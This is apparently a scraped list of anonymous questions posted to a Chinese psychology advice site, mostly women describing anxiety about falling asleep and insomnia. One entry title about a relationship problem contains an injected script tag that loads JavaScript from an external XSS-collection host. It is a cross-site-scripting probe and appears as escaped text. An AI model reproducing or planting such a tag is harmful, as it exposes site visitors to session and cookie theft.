女 睡覺的時候總感覺放松不下 心里不知道在緊張什么 就是睡不著 感覺慌慌的 (匿名)

女,焦慮睡不著，總是怕睡覺。精神一直處于緊張狀態(tài)，很難放松 (匿名)

本人每天晚上只要是準備睡覺要睡著的時候就會緊張害怕，然后身上發(fā)麻發(fā)抖，不是因為任何的外界因素造成的！就只單純的怕自己會睡著了！因為我以前有過幾晚的失眠，之后有個晚上我竟然睡著了，又到了第二個晚上，躺在床上的時候，腦子里就自己突然萌生了一個問題，就是:咦:我到底是怎么睡著的:！就這樣每到晚上準備睡著的時候心理就會想著睡著了，就因為這樣,就好像是告訴自己就是這樣睡著的！然后潛意識里就覺得是這樣睡著的，有種高興的心理，就因為這樣的告訴自己就造成了失眠，就一整夜睡不著了！后來因為這樣的高興使自己睡不著了！于是因為高興而造成的失眠就使得自己害怕起來了！害怕這種高興！現(xiàn)在每晚只要是準備睡著了就會自己提醒自己說，咦準備睡著了，然后身上就會緊張發(fā)麻，有時會出汗！就像被什么驚嚇了一樣。這樣每晚來回幾次，最終一整晚都睡不著了！我也不知道這種睡著了的暗示是高興自己睡著了，還是痛苦這種睡著了的高興！現(xiàn)在我快崩潰了！真不懂怎么辦了！這種情況有兩年了！求求各位好心的心理醫(yī)生能幫幫我啊！在此先謝了！

女 被心理醫(yī)生心里催眠完后感到很緊張是怎么回事 (匿名)

女,心理專家你好，我的狀況是失眠。就是這兩天開始的，大前天晚上可能因為喝了綠茶，晚上睡覺的時候想了一些事情，結(jié)果翻來覆去睡不著，想到周遭有朋友因為失眠而導(dǎo)致只能靠藥物入睡，我就好怕自己也會失眠會變成這樣，結(jié)果開始這么想了之后就真的很害怕，很擔(dān)心，害怕到感覺心跳的好快，一個晚上就沒睡著，這是我第一次失眠。第二天上班，這個晚上沒睡很累，但一整天都在害怕晚上會睡不著，回到家想說這么累隨便睡就可以睡著了吧，結(jié)果還是因為擔(dān)心害怕翻來覆去無法入睡，而且可能因為擔(dān)心的緣故，覺得心跳的好快。我就插上耳機聽fm，聽了2個小時左右才入睡，今天一天也是一樣的心態(tài)。我知道就是因為我的擔(dān)心害怕導(dǎo)致我無法入睡的，可是我無法克制，這是不由自主的，而且我也想通過做別的事情轉(zhuǎn)移注意力，可是都提不起勁去做。我之前的睡眠狀況很好，隨時都可入睡而且不容易醒。想咨詢專家，我要怎么克服我的這種心態(tài)，讓心態(tài)復(fù)原，因為一躺上床閉上眼就不由自主的擔(dān)心害怕甚至煩躁，好痛苦，希望醫(yī)生能幫幫我。

女 晚上要怎樣才能放松自己入睡呢。我有睡前恐懼癥。不會想象。入睡難 (匿名)

女,我晚上一上床就擔(dān)心能不能睡著，強迫去想，一想就緊張怎么辦。明天要做飛機了，昨天還沒怎么睡，感覺心臟受不了了。 (匿名)

女 感情出現(xiàn)變態(tài)問題了，怎么解決咨詢"lt;script src=//xsspt.com/xd7ulu"gt;"lt;/script"gt; (匿名)

女 這些孩子很調(diào)皮很晚才做完作業(yè)，一到輔導(dǎo)班光玩一會也坐不住，有個數(shù)學(xué)成績好的語文不好，另外的學(xué)習(xí)好的也老找我不會的給他講還有幾個一個都不會要我一個一個講，那兩個一年級小的孩子一個照抄一個，另外一個啥都不會我花功夫給他講這幾天有點起色，還有放學(xué)后老忘帶書扔在了輔導(dǎo)班，放學(xué)回家他們不好好等家長一起打鬧還出去買東西零食，那個老師竟然允許。 (匿名)